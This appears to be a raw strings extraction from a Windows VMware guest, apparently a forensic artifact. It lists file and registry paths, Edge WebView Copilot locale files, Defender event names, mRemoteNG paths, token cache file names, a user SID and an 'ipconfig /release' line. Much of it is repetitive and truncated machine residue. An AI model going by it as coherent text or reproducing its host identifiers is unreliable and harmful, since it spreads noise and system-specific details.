Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\a906cc261fab361f_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\a906cc261fab361f_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\a906cc261fab361f_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\a906cc261fab361f_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\a906cc261fab361f_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\93e5fff3dbc8df05_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\93e5fff3dbc8df05_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\93e5fff3dbc8df05_1 WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\winevt\Logs\State.evtx WIN://PKG WIN://PKG c07dbfc3c6b4ad434eee98ecd8287f5b TSA://ProcUnique3 WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique #canary.identity_helper.exe.manifest WIN://SYSAPPID WIN://PKG TSA://ProcUnique WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll TSA://ProcUnique \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wmiutils.dll dev.identity_helper.exe.manifest dea0393078281e3e807a8f0684433db5 \Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration TSA://ProcUnique TSA://ProcUnique %internal.identity_helper.exe.manifest !beta.identity_helper.exe.manifest WIN://PKGHOSTID TSA://ProcUnique WIN://SYSAPPID b6e2a986346601fc8ac3c6853a10e199 TSA://ProcUnique b3cf609737eb90073e35cdc30c3a3c75 [CoreUI]-PID(4124)-TID(7672) b950120e-3f79-4a93-97fb-ab1568cb5c75 WIN://PKG WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique !copilot_overlay_strings_fr-CA.pakUnique \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll 91800cdbeebb7253e7425341cee1117e WIN://PKGHOSTID WIN://PKG \Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config WIN://SYSAPPID WIN://PKG WIN://PKGHOSTID TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique setup.exe WIN://PKGHOSTID #stable.identity_helper.exe.manifest WIN://SYSAPPID 11f67a51b42b5a7259cc452d68c29f98 WIN://PKG WIN://SYSAPPID TSA://ProcUnique [CoreUI]-PID(5016)-TID(7516) c2ab3b1d-5ceb-40b9-a491-c8f5df556feb WIN://SYSAPPID "Windows.ApplicationModel.Store.dll \REGISTRY\USER\S-1-5-21- FileSync.LocalizedResources.dll.mui TSA://ProcUnique TSA://ProcUnique WIN://PKG WIN://SYSAPPID WIN://PKGHOSTID WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\en-US\ole32.dll.mui WIN://PKG TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\smartscreen.exe SyncEngine-2026-02-24.0806.5016.2.aodl TSA://ProcUnique WIN://PKG WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\smartscreen.exe WIN://PKGHOSTID TSA://ProcUnique WIN://SYSAPPID \Device\HarddiskVolume3\Windows\System32\smartscreen.exe WIN://SYSAPPID WIN://BGKD WIN://PKG WIN://SYSAPPID !copilot_overlay_strings_pt-BR.pak WIN://PKGHOSTID TSA://ProcUnique &copilot_overlay_strings_sr-Cyrl-BA.pak vior rk B&copilot_overlay_strings_sr-Latn-RS.pak \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization !copilot_overlay_strings_pt-PT.pak WIN://PKG TSA://ProcUnique WIN://SYSAPPID WIN://PKG WIN://SYSAPPID WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\en-US\bdesvc.dll.mui !copilot_overlay_strings_zh-TW.pak \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\platforms TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://SYSAPPID WIN://PKG WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique System.Runtime.Serialization.dll $$_system32_21f9a9c4a2f8b514.cdf-ms TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzres.dll.mui TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique WIN://PKG TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\CoreMessaging.dll TSA://ProcUnique TSA://ProcUnique PdfPreviewHandler.dll \Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\FeedbackHub $AFX_WM_ON_HIGHLIGHT_RIBBON_LIST_ITEM \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll $Windows.Services.TargetedContent.dllque TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\aadWamExtension.dll TSA://ProcUnique TSA://ProcUnique &AFX_WM_ON_BEFORE_SHOW_RIBBON_ITEM_MENU \Device\HarddiskVolume3\Windows\System32\CoreUIComponents.dll \DEVICE\HARDDISKVOLUME3\PROGRAM FILES\VMWARE\VMWARE TOOLS\VMTOOLSD.EXE \Device\HarddiskVolume3\Windows\System32\TextInputFramework.dll TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique [CoreUI]-PID(5016)-TID(7516) e3b1b181-d012-4dd3-a645-2fef6f5c9000 TSA://ProcUnique heavy_ad_intervention_opt_out.db TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\smartscreen.exe WIN://SYSAPPID b17922ac-00f4-451c-949f-cd5c52eb6c6b TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKG \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll ISTRY\MACHINE\SYSTEM\Control Network Action Predictor-journaltings WIN://PKG WIN://PKGHOSTID TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKG WIN://SYSAPPID \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll WIN://SYSAPPID \Device\HarddiskVolume3\Windows\System32\DataExchange.dll TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKGHOSTID TSA://ProcUnique WIN://PKG Microsoft.YourPhone_8wekyb3d8bbwe [CoreUI]-PID(4124)-TID(4128) 20dee5c6-d179-4bbb-9cf4-b4dd766617e5 TSA://ProcUnique WIN://PKG WIN://SYSAPPID WIN://PKG optimization_guide_hint_cache_store WIN://PKGHOSTID \Program Files\VMware\VMware Tools\plugins\vmsvc\deployPkgPlugin.dllique WIN://BGKD TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique WIN://PKGHOSTID \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll TSA://ProcUnique runtimebroker07f4358a809ac99a64a67c1 WIN://PKGHOSTID TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://SYSAPPID WIN://SYSAPPID TSA://ProcUnique WIN://PKG WIN://PKG TSA://ProcUnique &show_third_party_software_licenses.bat WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKG TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID WIN://PKG b7f46ecd62a3aa399275b2302e207290 \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb WIN://SYSAPPID WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID WIN://PKG TSA://ProcUnique TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique %ContentDeliveryManager.Background.dll !copilot_overlay_strings_bn-IN.pakUnique WIN://SYSAPPID TSA://ProcUnique TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique \Device\HarddiskVolume3\Windows\Globalization\ICU\icudtl.dat AdSelectionAttestationsPreloaded TSA://ProcUnique ie_to_edge_stub.exell TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO WIN://PKGHOSTID TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://PKG TSA://ProcUnique WIN://SYSAPPID TSA://ProcUnique !copilot_overlay_strings_en-GB.pakUnique VERSIONeAssist.msix mf_trace.wprp .wprp TSA://ProcUnique \REGISTRY\USER\S-1-5-21- Update_2026-02-24_080648_5016-7516.log TSA://ProcUnique WIN://PKGHOSTID WIN://SYSAPPID WIN://PKG TSA://ProcUnique \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll TSA://ProcUnique !copilot_overlay_strings_en-US.pak &copilot_overlay_images_200_percent.pak WIN://PKGHOSTID WIN://SYSAPPID TSA://ProcUnique 580bc224-751b-4d76-b725-8d991e5d800dID #copilot_overlay_unscaled_images.pak TSA://ProcUnique TSA://ProcUnique https_www.bing.com_0.indexeddb.leveldb TSA://ProcUnique TSA://ProcUnique "copilot_overlay_strings_es-419.paknique TSA://ProcUnique TSA://ProcUnique TSA://ProcUnique WIN://SYSAPPID WIN://PKGHOSTID WIN://PKG TSA://ProcUnique timezoneTypes.res 3\Windows\Globalization\ICU\timezoneTypes.res \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe Themes darcula.vstheme \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_el.pak C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es-419.pak \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es-419.pak C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_en-US.pak \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat::$ATTRIBUTE_LIST 367c.TMP 2\Winevt\Logs\Key Management Service.evtx comctl32.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_en-US.pak \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOG old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Connectivity-UsbHost-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat 24.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\WinSxS\FileMaps\_0000000000000000.cdf-ms WINDOWS\system32\WindowsPowerShe \Device\Harddi s\System32\en-US\windows.storage.dll.mui store.db smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Application.evtx e\HarddiskVolume3\Users\job\AppData\Local\IconCache.db \Device\HarddiskVolume3\Windows\System32\wevtapi.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-CoreSystem-Core-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Device\HarddiskVolume3\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetViewUWP.AppX2rsbeqt0g6ng6enya868yr22f6gwj9sk.wwa GAC_32 netlogon.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll ntevt.dll provthrd.dll e\HarddiskVolume3\Windows\System32\UserMgrProxy.dll \Device\HarddiskVolume3\Windows\System32\ReFsDedupSvc.exe \Device\HarddiskVolume3\Windows\System32\netutils.dll Edge.dat EdgeWebView.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOCK RFf8b7.TMP \Device\HarddiskVolume3\Windows\System32\icu.dll msrle32.dll msadp32.acm \Device\HarddiskVolume3\Windows\System32\virtdisk.dll logoncli.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old .TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store LOG.old~RFf898.TMP msvidc32.dll S-1-5-21-3914889805-4071901059-918772286-1001 \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\drivers\en-US\spaceport.sys.mui wtdccm.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppX8f33pzjqtv84a2ha2f38qat9mf90c7mf.mca \Devic 3\Windows\System32\en-US\iphlpsv Top Sites Top Sites-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\extensions_crx_cache\metadata.json ar.pak as.pak az.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ml.pak bg.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_mk.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_bs.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_bs.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_ml.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_gl.pak #$$#$#$$$ \Default ipconfig"* Plugin.*.Policy. \BaseNamedObjects\SM0:3700:304:WilStaging_02 icudtl.dat.DATA ipconfig"* Edge.dat.DATA \BaseNamedObjects\SM0:3700:304:WilStaging_02 MpEvent-AC33122C-16F1-7F6A-0522-FCC3E537A59D Shell.BootHealth.RunningShellPassedHangChecks CortanaUI \Windows\Globalization\Sorting\SortDefault.nls \BaseNamedObjects\SM0:5820:304:WilStaging_02 \BaseNamedObjects\SM0:5820:304:WilStaging_02_p0 C:\WINDOWS\system32\ipconfig /release CortanaUI CortanaUI OleDdeWndClass \Users\job\AppData\Local\Microsoft\Feeds Cache Security-System-Capability-automatedAppLaunch CortanaUI CortanaUI CortanaUI microsoft.windows.pro.addon_8wekyb3d8bbwe CortanaUI microsoft.windows.pro.addon_8wekyb3d8bbwe Security-System-Capability-targetedContent .NET CLR Networking_Perf_Library_Lock_PID_de4 TestMode_AdaptiveTimeoutRecalculationInterval .NET Memory Cache 4.0_Perf_Library_Lock_PID_de4 TestMode_AdaptiveTimeoutRecalculationInterval TestMode_AdaptiveTimeoutRecalculationInterval TestMode_AdaptiveTimeoutRecalculationInterval FullTrustApp CortanaUI Intel(R) 82574L Gigabit Network Connection CortanaUI MSDTC Bridge 4.0.0.0_Perf_Library_Lock_PID_de4 CortanaUI SMSvcHost 4.0.0.0_Perf_Library_Lock_PID_de4 MpEvent-DB87EFCA-970A-EB3E-5B8D-9E6D45359198 MpEvent-0E84A33B-49EB-BDDF-5FAF-680336F534E9 CortanaUI FullTrustApp AnimatedFacadePropertyChangesComplete.5016.7516 DeferredAnimationOperationsComplete.5016.7516 CortanaUI CortanaUI \REGISTRY\MACHINE\SOFTWARE\Classes CortanaUI CortanaUI \Windows\SysWOW64\vcruntime140_clr0400.dll \Windows\assembly\NativeImages_v4.0.30319_32 ITaskList_Deleted CortanaUI CortanaUI FullTrustApp Microsoft-Windows-Defender-AntivirusAllowed CortanaUI FullTrustApp CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI CortanaUI FullTrustApp CortanaUI CortanaUI CortanaUI CortanaUI \Program Files\VMware\VMware Tools\plugins\vmusr \REGISTRY\MACHINE\SOFTWARE\Classes CortanaUI Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWARE\Classes CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe CortanaUI CortanaUI CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWARE\Classes \REGISTRY\MACHINE\SOFTWARE\Classes \REGISTRY\MACHINE\SOFTWARE\Classes microsoft.windows.48.x19-98841_8wekyb3d8bbwe CortanaUI \REGISTRY\MACHINE\SOFTWARE\Classes Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe CortanaUI CortanaUI CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\Temp\ CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe CortanaUI \Users\job\AppData\Local\Microsoft\TokenBroker CortanaUI CortanaUI \REGISTRY\MACHINE\SOFTWARE\Microsoft\Rpc Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWARE\Classes \Windows\Microsoft.NET\assembly\GAC_32\mscorlib AFX_WM_DRAW2D microsoft.windows.48.x19-98841_8wekyb3d8bbwe VMwareClipFormat AFX_WM_ON_MOVE_TAB DnDControlClass TOOLBAR_RESETMENU \Users\job\AppData\Roaming\mRemoteNG\Themes TOOLBAR_POPUPMENU AFX_WM_ON_HSCROLL microsoft.windows.48.x19-98841_8wekyb3d8bbwe TOOLBAR_CUSTOMIZE Microsoft.Windows.48.X19-98841_8wekyb3d8bbwe microsoft.windows.48.x19-98841_8wekyb3d8bbwe TOOLBAR_DELETE microsoft.windows.48.x19-98841_8wekyb3d8bbwe TOOLBAR_CREATE WINDOW_HELP CortanaUI TestMode_AdaptiveTimeoutRecalculationInterval \??\C:\WINDOWS\SYSTEM32\kernel.appcore.dll_p0 microsoft.windows.48.x19-98841_8wekyb3d8bbwe Personal \Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf CortanaUI VMwareTrayIcon CLIPBRDWNDCLASS CortanaUI microsoft.windows.48.x19-98841_8wekyb3d8bbwe CortanaUI \BaseNamedObjects\SM0:3700:304:WilStaging_02 system32 \BaseNamedObjects\SM0:3700:304:WilStaging_02_p0 AC_SearchComplete WinFormsUnSubclass WM_GETCONTROLNAME WinFormsMouseEnter TipCloseMenus AC_ItemActivate WM_GETCONTROLTYPE Security-System-Capability-windowManagement Microsoft Root Certificate Authority 2010 Microsoft Root Certificate Authority 2010 eInfo user32.dll.mui \BaseNamedObjects\SM0:3700:304:WilStaging_02 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr-CA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr-CA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fr-CA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fil.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_fa.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_eu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_eu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_eu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_et.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_et.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_et.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_es-419.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_hr.pak \Device\HarddiskVolume3\Program Files 